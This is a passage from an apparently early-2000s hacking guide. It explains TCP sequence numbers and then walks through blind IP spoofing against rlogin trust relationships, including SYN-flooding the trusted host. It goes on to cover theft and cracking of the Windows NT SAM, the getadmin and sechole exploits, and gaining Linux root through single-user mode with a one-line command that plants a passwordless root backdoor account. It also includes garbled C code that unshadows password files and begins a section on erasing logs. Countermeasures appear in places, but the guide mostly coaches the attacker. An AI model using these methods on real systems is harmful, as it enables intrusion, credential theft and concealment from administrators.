The Initial Sequence Number or the ISN is the first (initial) sequence number given to a host at the time when the system is being bootstrapped. At bootstrapping time, the ISN is assigned a value of 1. Whenever a host establishes a connection, then the value of its ISN at that particular point of time is treated as the sequence number of the first fragment being sent to the client with whom the connection is being established. Once a system is assigned an ISN value of 1 at bootstrapping time, then this value keeps increasing automatically and quite predictably with the passage of time, transfer of data and establishment of connections.
This Initial Sequence Number gets incremented by 128,000 every second and with every connection being established, it gets incremented by 64, 000. Due to the fact that with the passage of every single second the ISN gets incremented by 128,000, its value gets wrapped every 9.32 hours. (Assuming that no connections are established.)
For Example,
If the ISN of a host were 1897737287, then after 3 connections and 2 seconds, its ISN would be equal to: 1898185287 = 1897737287+ (3*64 000) + (2*128 000)
To recapitulate, we can say that the value of the sequence number in the TCP header would be sequence number of the first byte of data in that particular fragment. One thing to note here is that the sequence number of the first byte of data being sent by the host to the client would be equal to the value of the ISN plus 1. This is because the SYN flag takes up 1 sequence number. This will be clearer after the sequence numbers and connection establishment section.
In the acknowledgement number field too there would be a 32-bit sequence number, however, this sequence number is not of the host but of the client. (Please note that we have assumed that this packet was sent to the client by the host) What we mean to say is that the sequence number in the acknowledgement number field actually represents the value of the next sequence number (i.e. value of the next sequence number of data) that the host expects the client to sent. This number also acknowledges that all data up to this number minus one has been received safely.
Sequence Numbers and Connection Establishment and Termination
For a TCP/IP connection to be established, a three-way handshake has to take place between the client and the host. The following are the 3-steps, which would take place for a complete and successful connection to take place between the host and the client-:
One can represent this diagrammatically as below:
Client---------------SYN (4894305)----------------àHost
Host-----------------SYN (1896955367) and ACK (4894306)---------àClient
Client---------------ACK (1896955368)----------àHost
Above we described the establishment of a TCP/IP connection with relation to sequence numbers, now after following the above steps, we suddenly decide to end the connection (continuing with the same values of SYN and ACK sequence numbers) then the following would take place:
Client-----------FIN (4894306) and ACK (1896955368)-------------àHost
Host------------ACK (4894307)--------------------àClient
Host------------FIN (1896955368) and ACK (4894307)-------àClient
Client---------------ACK (1896955368)--------------àHost
A deeper look into Sequence Numbers
To better understand the phenomenon of SYN and ACK values, let us perform a test in which first we telnet to port 23 of a remote system and then immediately disconnect from it using the Quit command. Headers of all packets being transferred would be captured using a Sniffer. (Please note that we would be referring to the remote system as Host and our own system as Client)
#telnet targetsystem.com 23
On typing the above command, the following transfer of packets takes place:
The captured frame of this data transfer is given below for your further study (The part in bold represents the Sequence number of the packet.):
20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 2C C3 00 40 00 20 06 10 0C CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CB 00 00 00 00 60 02 20 00 D9 70 00 00 02 04 05 B4 2D
Here we see that the client is sending a packet with the SYN option on, which means that it is requesting for a TCP/IP connection to be established. SYN stands for Synchronize sequence numbers In this case the Sequence number of the data packet sent by the client is 856779
The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.):
44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 00 2C 8C 05 40 00 39 06 2E 07 CB 5E F3 47 CB 5E FD BA 00 17 04 07 2D 38 9C 56 00 0D 12 CC 60 12 83 2C AC A4 00 00 02 04 05 B4
Here we see that the host on receiving the request for establishing a TCP/IP connection responds to the request by sending a packet with both the SYN and ACK options turned on. The SYN option is still on, as the host still needs to send its own Sequence number to the client. In our case the Sequence number of the host is 758684758. The host turns the ACK option on and gives it a value, which is equal to the client’s initial sequence number plus one. The ACK number acknowledges the data received till now and represents the next expected sequence number that the host expects to receive. Here the ACK number sent by the host is the client’s ISN + 1= 856779 + 1= 856780
The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.):
20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 28 C4 00 40 00 20 06 0F 10 CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CC 2D 38 9C 57 50 10 22 38 25 56 00 00
In the above captured frame we find that the client replies to the SYN/ACK sent by the host, with a ACK message, which acknowledges the receipt of the data till now and also mentions the sequence of data expected next from the host by the client. In this case the ACK value is equal to the host’s ISN plus one. Thus, ACK value= Host’s ISN + 1= 758684758 + 1= 758684759.
One thing to note here is that in step 3, since the client is sending only an ACK message to the host (and not a SYN message), thus the sequence number will not get incremented. The third packet just contains the ACK option turned on, while the SYN option is still turned off. As a result the sequence number does not get incremented. What this means is that the next packet sent by the client to the server too will have the same sequence number, as it did not get incremented.
Once the above three steps have been completed, a complete 3-way handshake is said to have taken place and a TCP/IP connection has thus been established between the client and the host. However, in our case, as soon as this is done, we use the Quit command to disconnect from the telnet daemon. On doing this, the following data transfer takes place:
The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.):
20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 28 C5 00 40 00 20 06 0E 10 CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CC 2D 38 9C 57 50 11 22 38 25 55 00 00
Eagle Eyes readers, must have noticed that the hexadecimal values i.e. the values in bold in the above captured frame are same as that in the third step in the connection establishment process. However, the difference lies in the fact that in this case, the packet has the FIN (Finish) and ACK options turned on, while in the third step of the connection establishment process, the packet had the SYN and ACK options turned on. Thus, in this step the client sends a FIN\ACK packet to host. The FIN option tells the host that client wants to terminate the connection that has been established between them. The sequence number of this packet does not change from the third step, as the third step carried only an ACK message, which does not consume any sequence number. Although this particular packet is indeed carrying a FIN message, which does in fact consume a sequence number, however a sequence number of a fragment represents a value, which is applicable at the start of that particular fragment and not the end. Thus, the sequence number consumed by the FIN option would increase the sequence number of the next packet and does not affect the sequence number of this packet. The ACK value of this packet is 758684759, which represents the sequence of the packet expected by client from the host. The ACK value of this message does not change from that of the third step, as no data was received by the client from the host and the client still expects host to send the data sequence 758684759.
The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.):
44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 00 28 8F BE 40 00 39 06 2A 52 CB 5E F3 47 CB 5E FD BA 00 17 04 07 2D 38 9C 57 00 0D 12 CD 50 10 83 2C C4 60 00 00
Here the host sends a packet with the ACK option turned on, which confirms the receipt of the data sent by the client to host till now. Here the ACK value is 856781. Also note that the sequence number of this particular is treated as 758684759, which is the same as the next message sent by the host to the client, as this particular message is carrying only an ACK option, which does not consume any sequence number.
The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.):
44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 00 28 8F E0 40 00 39 06 2A 30 CB 5E F3 47 CB 5E FD BA 00 17 04 07 2D 38 9C 57 00 0D 12 CD 50 11 83 2C C4 5F 00 00
In this captured frame, the host sends a FIN\ACK packet to the client, with the sequence number equal to 758684759, which is same as that of the earlier step. Even the ACK number remains the same, as Host still received no data, sent by the client.
The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.):
20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 28 C6 00 40 00 20 06 0D 10 CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CD 2D 38 9C 58 50 10 22 38 25 54 00 00
Here the client replies to the host’s FIN/ACK packet by sending an ACK packet, which acknowledges all data received till now and thus the connection gets terminated. Please note that the sequence number of this packet is treated as 856781.
Thus, from the above sections we can conclude that the sequence number gets incremented in the following cases and manners:
Cases Increment
Transfer of FIN Packet 1 Transfer of SYN Packet 1 Transfer of ACK Packet 0 Transfer of SYN/ACK Packet 1 Transfer of FIN/ACK Packet 1 Passage of 1 second 128,000 Establishment of 1 connection 64,000
If one is able to learn the art of prediction of sequence numbers, then the following could easily be done:
Now that we truly understand the increment of sequence numbers and ACK numbers, let us now learn as to how IP Spoofing can be used to exploit trust relationships.
Trust Relationships
Everyone is encountered with some form of authentication process or the other. The Username-Password pair is the most commonly used form of authentication, with which we are very much familiar. What happens in the Username-Password form of authentication is that the remote host to which the client is connected to, challenges the client by asking the User to type in the Username and Password. Thus, in this form of authentication, the User needs to intervene and the remote host challenges the user to enter the Username and Password, which act as a form of authentication.
Besides the Password-Username form of authentication, there is yet another form of authentication most users do not know of. This is the Trust relationship form of authentication, in which the IP Address of the client system acts as a proof of authenticity. In this form of authentication, what happens is that the remote host gets or finds out the IP address of the client and compares it with a predefined list of IP's who are allowed access. If the IP Address of the client who is trying to establish a connection with the remote host is found in the list of allowed IP's maintained by the host, then it allows the client access to the shell 'without a password' as the identity of the client has already been authenticated. (Using the trust relationship concept.)
Such kind of trust relationships are common in Unix Systems which have certain 'R services' like rsh, rlogin, rcp etc which have certain security problems and should be avoided. Despite the threat involved most ISP's still keep the ports of the R services open to be exploited by Hackers. Once can establish a rlogin connection with a remote system by simply using the following Unix shell command:
$>rlogin IP address
************** HACKING TRUTH:There is definitely a cooler way of establishing a trust relationship with a remote host, i.e. using Telnet. The default port numbers at which the R services run are 512, 513,514 **************
Thus, this means that if there exists a trust relationship between two systems (i.e. the client and the server), then if you are able to change your IP Address and pretend to be the client, then you could actually authenticate yourself making use of this new, spoofed identity and establish a proper connection with the server. Such a connection, would probably entitle you to all commands and all parts of the server. Thus, we can conclude by saying that if one is able to spoof ones IP Address and use this spoofed identity to exploit trust relationships, then it could have some very serious consequences.
Spoofing your IP Address to exploit trust relationships
Before we move on to the various steps that we have to perform, in order to spoof our IP Address and in turn exploit trust relationships, it is important to understand that IP Spoofing is extremely difficult to perform and it is also very complex. Hardened networking experts too find it fairly mind-boggling. What really makes it so tough to execute, is the fact that it is a blind attack i.e. one does not get any feedback regarding ones progress and also it is based on a lot of assumptions, which have to be made on the part of the attacker. Thus, one might fail to successfully spoof ones IP Address several times, however, practice makes a man perfect, so keep trying. IP spoofing is definitely very difficult to perform, however, it is not impossible to perform and has certainly been carried out before.
The various steps involved in successfully spoofing ones IP Address and in turn exploiting a trust relationship, are as follows:
NOTE: Please note that for the following steps, we would be using three systems:
The first step in exploiting trust relationships is to actually find out as to with which system does the target system enjoy a trust relationship. In this step what is done is nothing but finding out as to which computer does the target system trust and usually establish a trust relationship based on authentication by IP Address, with. In effect, we would want to find out the trusted system, the system that is allowed by the target system to establish a remote trust connection with itself i.e. the system named TRUSTED.
The trusted system establishes a trust connection with the target system using what are known as the r services. We can find out as to with system the target system establishes a trust relationship, by using any of the following methods:
rpcinfo -p showmount -e
Once you have found out the trusted system with which the target system is capable of establishing a trust connection, what one has to do is: DOS attack this trusted computer, so as to render it useless, thus ensuring that it does not interrupt or end our spoofed connection with the target system.
This step is a very important step. As soon as you find the trusted system, your next step is to block it or disable it. If you remember, we had discussed the problems that one faces while trying to perform IP Spoofing. After a long description, we had concluded some necessities for IP Spoofing to take place successfully. Amongst them, one was as follows:
“…FAKE must not at any point respond to the SYN/ACK packet, which VICTIM sends to it…”
Thus, in order to ensure that the above takes place, one has to make sure that the trusted system is blocked i.e. one must make sure that all the memory of the trusted system is used up, so that it is not able to respond to the SYN/ACK packets addressed to it (sent by the VICTIM system.) One very easy method of doing so is to perform a SYN Flooding Denial of Services attack on it. For a detailed description regarding SYN Flooding, read the DOS Attacked!!! Section.
Once we have a long queue of SYN Floods on the target system and hog up all the memory available to it, then we can probably be sure that it will not respond to any SYN/ACK packets sent to it by the victim system. Thus, once the blocked system is feeling the affects of the SYN Flood attack, then, we can be assured of being freed of one of the numerous problems faced during the process of performing IP Spoofing. (The problem of the trusted system intervening and ending the spoofed connection.)
Once the trusted system has been disabled, the attacker then must get the sequence number of the target system. This is the step, in which the attacker has to make a lot of quick calculations and assumptions. In order to get the target system’s sequence number, the attacker connects to Port 23 or Port 25 just immediately before launching the attack and records the Sequence number of the last packet sent by the target system. It is advisable to repeat this step several times and then record and note down the last sequence number of the target system. The attacker must also deduce the Round Trip Time or the RTT using a utility called icmptime. (For more information read the ICMP section.) To get an accurate value of the RTT, one should repeat the process of sending a packet and recording the time, several rimes.
***************** **************** Once the attacker knows the last sequence number of the target system, then on the basis of the above calculated values of RTT, the amount of time passed (between the recording of the last sequence number and the actual execution of the attack) and the other cases when there can be an increment of the sequence number, he could actually predict the next sequence number.
To effectively perform this step, the following should be done:
When you are predicting the next sequence number, then ideally your predicted value, should be same as what the target system’s next sequence number really is. However, even if the sequence number that you predicted is not that much greater than the actual next sequence number, then, the target system would just queue it up, treating it as a packet for future use.
Let us assume that the attacker is actually able to predict the correct next sequence number and move onto the next step that he would have to follow.
4. The Actual Attack
Once you have been able to predict the next sequence number, then comes the time of performing the actual attack as follows:
If everything goes as planned and if the attacker guesses the sequence number correctly, then the target system would accept the connection and a trust relationship would be established.
5. Putting the Trusted system out of the spell of the DOS Attack
Finally, after the entire attack has been carried out, one has to end the SYN Flood on the trusted system, which can be done by sending packets with the FIN option turned on to the trusted system.
Fadia’s Hot Pick for Sending Custom Designed Packets to a remote system
Features:Allows the user to send custom made packets. It also gives a very powerful control over various options of the custom made packets. A brilliant tool overall.
Download URL: http://www.packetfactory.net/libnet
Countermeasures
access-list 101 deny ip 201.94.0.0 0.0.255.255 0.0.0.0 255.255.255.255 This particular ACL is applicable to a network having an internal source address of 201.94.xx.xx. If you are looking at providing your network protection from only source IP Spoofing attacks, which might originate from your network, then the following ACL will do the trick: access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255
Reference Material: IP Spoofing Demystified By daemon9/route/infinity.
TCP Wrappers Unwrapped
We have already learnt that one good countermeasure against IP Spoofing is to use TCP Wrappers instead of client’s IP Address identification as the authentication standard. In this section, we will examine as to how to configure TCP Wrappers to act as a good filtering system and suit our needs.
If you are running a Linux box and connect to the net through it, then there is every chance of someone else using or misusing the services running on your system. If someone gets to know your IP, then it does give the attacker an opportunity to be able to use the services or daemons running on various ports of your system for malicious purposes. Thus it has become very important to ensure that you define a access list which controls who all can have access to what services on your system and who all should be blocked or denied access to any of the services on your system. This is where TCP Wrappers are so efficient but easy to use.
So What Exactly are TCP Wrappers?
Before we move on, we need to first establish a basic understanding of as to how exactly does Linux respond to a connection request. The thing to remember here is that all requests for connections received by a Linux box, are transferred to the Internet Daemon or the 'inetd'. The 'inetd' is the main daemon on a Linux Machine, which receives all connection requests on behalf of all services or daemons running on all the Port Numbers. Once the 'inetd' receives a connection request, it uses 2 configuration files two determine what to do next. These two files are:
2. /etc/inetd.conf.
This brings to a question: If we want to restrict some particular hosts from accessing our system and allow only a predefined set of hosts to access our system, they what do we do? This is where TCP Wrappers come to the rescue.
NOTE:In this section, I am assuming that you have been able to install the TCP Wrapper daemon i.e. /usr/sbin/tcpd. For more information on how to install the TCP Wrapper read the Linux Documentation or the man pages. Or visit: www.linuxdoc.com or www.linux.com or www.newbielinux.com
How exactly does the TCP Wrapper daemon i.e. /usr/sbin/tcpd decide whether to allow access to a particular host or not? In this aspect, the following two files help the Wrapper: 2. The /etc/hosts.deny
As soon as the inetd sends the connection request to the Wrapper, tcpd scans the /etc/hosts.allow for a match for the hostname of the connection requestor. If a match is found, then the connection is opened. On the other hand, if no matches are found, then the system, searches the /etc/hosts.deny file for an entry i.e. the system searches this file for an entry which matches the source IP Address of the received packet. If even then no match is found or even if both the files are empty, then the connection is allowed by the system to be opened.
The important thing to remember while configuring a tcpd is what level of security do you really want your system to have. Whatever kind of setup you may have, you basically are left out with the following options-:
The Not So Secure But Service Providing System Wildcard Rule
TCP Wrappers have a lot more interesting options and features; the above was just an introduction to them.
Attacks on Password Files
Once an attacker is successfully able to get root on a target system or get administrator privileges on the target system, then the first thing that he likely to try and do is, crack the administrator (root) password. Another thing that an attacker is likely to try and do, is to install a backdoor on the compromised system, using which, he can enter and leave the system, as and when he wishes to do so. However, before he can get down to installing backdoors on the compromised system, he must have administrator (root) privileges on it. However, if a system has already been compromised, then the attacker would actually already have got administrator (root) privileges on it. Nonetheless, attacks on the password files or attempts to get the administrator password or passwords of even other normal users is somehow the most common attack that a compromised system and even an un-compromised system is likely to face. In this section, we discuss just that: Attacks on Password Files and their countermeasures.
Getting the NT administrator password
So you got administrator privileges on a NT box and now want to take over the entire Network, but for that you need to get the list of accounts that you would use and their respective passwords. So, what do you do? The NT Security Accounts Manager or the SAM holds the key, and this section explores how exactly you would go about the process of extracting and ‘cracking’ passwords from the Windows NT SAM and all the other related information.
The NT Security Accounts Manager or the NT SAM is to Windows NT what the /etc/passwd file is to Unix systems. The SAM stores the list of usernames of all accounts and their respective passwords in encrypted form of all Local Users or of all users on that particular domain. (Varies according to what that particular system is being used for.) Cracking the SAM or in other words cracking the encrypted passwords stored by the SAM is all you need to do in your quest to control the entire Network.
Although the latest encryption algorithm implemented by Microsoft NT is quite good, there is however a flaw in it. In reality, this flaw is nothing more than a backward compatibility feature, which can easily be exploited to crack the passwords. It is important to note that Microsoft has adapted this new algorithm, only quite recently. Earlier, Microsoft used to implement a one-way encryption system or in other words, hashing. Now even the newer versions of the Windows NT operating system, in order to maintain backward compatibility with the older versions, like Windows 9x etc have to store the old hash along with the new one. The older hash function i.e. the password stored in encrypted form, where the encryption has been done using the older one-way encryption system, has already been reverse engineered or cracked. This is widely used to crack the NT passwords.
L0phtcrack is the utility, which we will be using in this section, to crack the Windows NT passwords. It is available at http://www.l0pht.com/l0phtcrack L0phtcrack is probably the most easy to use and the most effective utility available to crack NT passwords. L0phtcrack has first got to be feed SAM data, which is extracted and then fed into it, in various ways.
L0phtCrack can import the required SAM data in many forms. It can extract the SAM data from raw SAM files, from compressed backup SAM files (SAM._), from remote systems using administrator access and even by sniffing hashes being transferred over networks.
Before one actually gets down to using L0phtCrack, one needs to obtain the SAM file. Microsoft uses a file called SAM to store the SAM data on Windows NT. This file can be found at:
%systemroot%\system32\config
This particular directory is locked throughout the time when Windows NT is running. The information stored by this file has actually been extracted from the Windows NT registry. The original source of the data stored by this file is the following registry key:
HKEY_LOCAL_MACHINE\SAM This key cannot be accessed by any account. Even the administrator account does not allow access to it. However, like all security features this feature too can be over-ridden. In fact there are several ways of getting the SAM data, and in this section, I will try and elaborate on all of these methods.
Getting the SAM from the Backup directory
When you use the NT Repair Utility (rdisk) with the /s argument to backup the important information regarding the system configuration to a floppy disk, then a compressed copy of the SAM data file is created in the %systemroot%\repair directory under the filename: “SAM._” Although a good system administrator will not forget to delete this file, however, in some cases inexperienced system administrators do tend to forget to delete it. As this backup copy of the SAM file is in the compressed form, you need to expand it before you can use it. One can expand the compressed back copy of the SAM using the following command:
C:\>expand sam._ sam
NOTE:If you use the latest version of L0phtCrack, you need not go through the process of expanding the compressed backup copy of the SAM, as there is a built in option, which automatically does it for you.
Countermeasures
Getting the SAM via another Operating System
The concept behind this method is the fact that the SAM file is locked throughout the time Windows NT is running. Thus, in other words, this means that access to the SAM file should not be restricted when Windows NT is not running. This means that, all one needs to do is, boot into an alternate operating system and then obtain the SAM file. The most commonly used operating system, for such a purpose would be DOS running on a floppy, which has the COPY utility on it. Thus, what one needs to do is create a bootable floppy, which has DOS running on it. Then one needs to change the BIOS settings and enable boot from the floppy disk. Once the system has booted into DOS, one could easily use the ‘copy’ command to obtain the SAM file. This process can be recapitulated in the following steps-:
However, this process is not as easy as it above, but again not too difficult. One needs to understand that, more often than not, a target system running Windows NT would be running on an NTFS-formatted partition. This means that in the step where we create a bootable floppy with DOS and the copy command loaded in it, one has to make sure that this floppy is capable of reading NTFS partitions. There is a NTFS file system driver called NTFSDOS, which will do the trick in such scenarios. It basically works by mounting NTFS partitions as logical drives, in effect, making all the files on the target system vulnerable to being read (including the SAM file). This nifty utility is available at: http://www.sysinternals.com/
********************* *********************
There is yet another way, in which booting into an alternate OS can be helpful. One could also boot into a Linux boot disk and carry out the same above procedure of copying the SAM file.
Countermeasures
Extracting Hashes from the SAM
This method requires for the attacker to have administrator privileges on the target system. If this is the case, then you could easily dump the password hashes from the SAM hive in the registry into a UNIX password file format. (i.e. The format followed by the /etc/passwd file. For more information read the next section on Attacks on the Unix Password File.)
The most commonly used utility, which can accomplish this task, is pwdump. The newer versions of L0phtCrack have an in-built feature, which extracts hashes directly from the registry.
Countermeasures
Both pwdump and L0phtCrack fail to surpass the encryption key established through the use of SYSKEY.
However, a system administrator’s nightmares do not end there. Even systems where SYSKEY, is being used, there certainly exists a method by which an attacker can surpass SYSKEY’s enhanced encryption key. Pwdump2, the newer version of pwdump can easily be used in such a scenario.
General Countermeasures to make an attacker’s job tougher
Other Popular NT holes
The Getadmin Exploit
Besides playing with the SAM, the most widely used NT exploit, is the getadmin exploit. It is basically a utility, which adds a user to the local Administrator group. It uses a process called DLL injection to edit a process (winlogin), which has the ability to add users to the Administrator group. For complete details and information regarding the ‘getadmin’ exploit visit: http://www.ntsecurity.net/security/getadmin.htm
Countermeasures
A post SP-3 hotfix has fixed the ‘getadmin’ hole. For more information regarding the fix and the exploit, read Knowledge Base article Q146965 at Microsoft’s site.
The sechole Exploit
Another popular Windows NT exploit is the ‘sechole’ exploit. It too has working similar to the ‘getadmin’ exploit and adds a user to the Administrator group. . For complete details and information regarding the ‘getadmin’ exploit visit: http://www.ntsecurity.net/security/sechole.htm
Countermeasures
One can easily fix the sechole hole by following fix made available by Microsoft. For more details read Knowledge Base article Q190288 at Microsoft’s site.
Attacks on the *nix Password File
Unix is considered to be the most secure OS. The method used to store passwords is definitely more safe and secure in Unix systems. In most Unix systems you will find that the passwords are stored in file called 'passwd' which is located at /etc/passwd. Throughout this section, at each step, no matter what we do, we would either directly or indirectly doing something, related to this password file.
Getting Root on a Linux machine
Before we move onto the part, where we learn everything about the *nix passwords file and how one can manipulate it, let us first learn, as to how one can get root on the most widely used form of Unix: Linux. Root is nothing but sort of a super user, who has maximum privileges, and can do whatever he wants to do on a system. ‘Root’ is to *nix what administrator is to Windows NT. If you get root then you can practically control each and every aspect of the system. You could for example, remove accounts, delete files, disable daemons, and even format the entire system.
Warning:The next few paragraphs are strictly for newbies, so no flaming please!!
In this section, we are not going to run any C program nor are we going to do any kind of coding but we will simply exploit a small vulnerability existing in a feature which comes along with Linux. This will work almost 9 times out of 10, however, if you plan to use this technique to get ‘root’ on your ISP, then simply forget it pal! The technique explained below is quite common and an average system administrator would probably be smart enough to cover up this security loophole. But still it is definitely worth a try.
Before we get to the main steps, one should remember that in order to exploit this basic loophole existing in Linux, the attacker must have physically access to the target system.
Method 1
Thus, in order to get root on a Linux system with physical access, using a very basic loophole, simply follow the below steps:
The linux config utility is certainly not a hole in Linux. It was actually designed to help, if the root password was forgotten.
Method 2
In the first method, we typed ‘linuxconf’ in the bash shell prompt, however, we could type the following, in order to create a new account with root privileges and without any password:
echo “ankit::0:0:::” >> /etc/passwd
This command will do nothing but edit the /etc/passwd file, which is the password file which stores the Passwords and Usernames of all accounts on the machine. One thing to remember here is that you can edit the /etc/passwd file only if you are logged in as root, however, in this case we are not logged in as root, but still we are able to edit the password file, as we have booted into linux single, which gives us the root shell.
To fully understand as to how the above command worked, one needs to first know the structure of the /etc/passed file. A typical line from the Unix password file, is as follows:
ankit:my_password_in_encrypted_form:2:3:Ankit Fadia:/home/ankit:/bin/bash
The above extract from the Unix password file, can in turn be broken up into:
Username: ankit Encrypted Password: my_password_in_encrypted_form User number: 2 Group Number: 3 Actual Name: Ankit Fadia (Optional) Home Directory: /home/ankit (Optional) Type of Shell: /bin/bash (Optional)
Coming back to our command, it is important to note that in our command, we have not included the optional fields and the password field of a typical password file line. Our command is as follows:
echo “ankit::0:0:::” >> /etc/passwd
This above command, can also be rewritten as:
Username: ankit Encrypted Password: User number: 0 Group Number: 0 Actual Name: Home Directory: Type of Shell:
Thus, the command that we typed did nothing but create a new account with root privileges and without any password. Such a technique can be used to create new accounts with root privileges, which can then be used as backdoors into the system.
Method 3
This method acts as a continuation of Method 2, after the point at which you launch ‘linuxconf’ and are greeted with the shell prompt. The steps to be followed in this method are as follows:
Say you do not want to create a new account, but want to change the root password so as to teach the system administrator a lesson. What do you do? One has to simply, use the ‘passwd’ command followed by the new password. As you are in the root shell, the root password will change to the new one that you supply.
Countermeasures against the above three methods
Restricted password_goes_here
(The above is actually: Restricted followed by a space and following by the password that you choose.)
Once you have followed the above steps, then the next time, you type linux single, at the LILO prompt, you will be asked the password that you typed in the above file. This makes the job of the attacker tougher.
Unix Password Files
We have already seen that a typical line from a Unix password file (i.e. /etc/passwd) is as follows:
ankit:my_password_in_encrypted_form:2:3:Ankit Fadia:/home/ankit:/bin/bash
In the above line, the encrypted password field contains the password of the user, ankit in encrypted form. The encryption algorithm used to encrypt a user’s password, which is then stored in the password file, is a one-way algorithm. This means that the encrypted form of a Unix password cannot be reverse engineered or decrypted by reversing the algorithm, which was originally used to encrypt the plaintext password. Another thing to note here is the fact that the above line is from an un-shadowed password file. A typical line from a shadowed password file, would be as follows:
ankit:*:2:3:Ankit Fadia:/home/ankit:/bin/bash
We already know that in a normal or an un-shadowed password file, the password field, contains the password of a particular user, stored in encrypted form. However, shadowed password files are different from un-shadowed password files in the respect that, in the case of shadowed password file, the password field does not contain the encrypted password, but instead contains a special token. In other words, all password fields, of all lines in a shadowed password file, are replaces with tokens. In our example above, the token used to replace the password field is the asterix sign i.e. “*”. Also, in the case of a shadowed password file, the encrypted passwords are stored in yet another file, which is not readable by normal users.
For Example,
Other examples of a token which can be used to replace the password field in the password file, are ‘$’, ‘#’, ‘Same as username’, ‘%’ etc. ********************** HACKING TRUTH:If the Method 2 of getting root on a Linux box is being carried out on a system with a shadowed password file, then the command used would become:
echo “ankit::0:0:::” >> /etc/shadow
**********************
Cracking the Unix Password File The first step in order to successfully crack a Unix password file, is to un-shadow the password file. This means that we have to convert the shadowed password file into the un-shadowed form.
The following program, which was also published in “The Unofficial Guide To Ethical Hacking”, would convert a shadowed password file into its un-shadowed form:
---------------- Source of this program: Unknown
struct SHADOWPW { /* see getpwent(3) */ char *pw_name; char *pw_passwd; int pw_uid;
int pw_gid; int pw_quota;
char *pw_comment;
char *pw_gecos; char *pw_dir; char *pw_shell; }; struct passwd *getpwent(), *getpwuid(), *getpwnam(); #ifdef elxsis?
/* Name of the shadow password file. Contains password and aging info *
#define SHADOWPW "/etc/shadowpw" #define SHADOWPW_PAG "/etc/shadowpw.pag" #define SHADOWPW_DIR "/etc/shadowpw.dir" /* * Shadow password file pwd->pw_gecos field contains: * * <type>,<period>,<last_time>,<old_time>,<old_password> * * <type> = Type of password criteria to enforce (type int). * BSD_CRIT (0), normal BSD. * STR_CRIT (1), strong passwords. * <period> = Password aging period (type long). * 0, no aging. * else, number of seconds in aging period. * <last_time> = Time (seconds from epoch) of the last password * change (type long). * 0, never changed.n * <old_time> = Time (seconds from epoch) that the current password * was made the <old_password> (type long). * 0, never changed.ewromsinm * <old_password> = Password (encrypted) saved for an aging <period> t * prevent reuse during that period (type char [20]). * "*******", no <old_password>. */
/* number of tries to change an aged password */ #define CHANGE_TRIES 3 /* program to execute to change passwords */ #define PASSWD_PROG "/bin/passwd" /* Name of the password aging exempt user names and max number of entir #define EXEMPTPW "/etc/exemptpw" #define MAX_EXEMPT 100
/* Password criteria to enforce */ #define BSD_CRIT 0 /* Normal BSD password criteria */ #define STR_CRIT 1 /* Strong password criteria */ #define MAX_CRIT 1 #endif elxsi #define NULL 0 main() { struct passwd *p; int i; for (;1;) {; p=getpwent(); if (p==NULL) return; printpw(p); } }
printpw(a) struct SHADOWPW *a; {
printf("%s:%s:%d:%d:%s:%s:%s\n", a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid, a->pw_gecos,a->pw_dir,a->pw_shell); }
-------------------
Once the attacker has successfully converted the shadowed password file, into its un-shadowed form, then the next step is to use any of the Unix Password Cracking utilities like Jack the Ripper or Crackjack to get the actually password. One thing to remember here is that such password cracking utilities require a wordlist, so as to create combinations of alphabets and numbers and characters and then perform brute force password cracking.
******************** HACKING TRUTH: The UNIX Password File is located at different locations, in different distributions and versions of UNIX. In order to find out as to where in your system, is the password file located, simply study the below chart:
UNIX Password File Paths (Courtesy of 2600)
UNIX Version Path Token
AIX 3 /etc/security/passwd ! AIX 3 /tcb/auth/files/<first letter of # username>/<username>
A/UX 3.0s /tcb/files/auth/?/ * BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files/<first letter of * username>/<username> System V 4.0 /etc/shadow x System V 4.2 /etc/security/ * database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb *
***************************
Removing Footprints/Traces from a remote system
Once an attacker has compromised a system and reached his goal, then he would then try to remove all traces that he left behind on the compromised system. This chapter talks about how an intruder would try and remove his traces by editing the log files and how one can prevent the intruder from doing so.
Removing Footprints/Traces from a Unix system
From the moment you log into a Unix box, your every move is more often than not being closely monitored and logged. The User which logs in, the commands that he typed, the messages that he sent etc, almost everything that a user does on a Unix system, from the moment he logs in till the moment he logs out, is logged into various log files. Thus, in case of a break in the system administrator can easily study these log files and figure out (i.e. trace) as to who the attacker was, his motive, what all he did on the system, to what extend was the system compromised and whether or not he placed any backdoor or not.
This in other words would mean that if a script kiddie attacker gets root on a Unix system by running a canned exploit and downloads the password file. Then he is most likely to be caught, if he does not take time to remove all traces that he left on the remote UNIX system, which he hacked into. Almost all Unix systems connected to the Internet are definitely running a logging mechanism which logs all the activities of all users who logged into their system.
Thus, arises the need to understand the Unix logging mechanism and how one can circumvent the log files and edit them to remove all traces left behind. This chapter will attempt to throw light on just this topic and of course, the countermeasures that one can take to protect his system from such system log file-editing methods.
The Syslog daemon
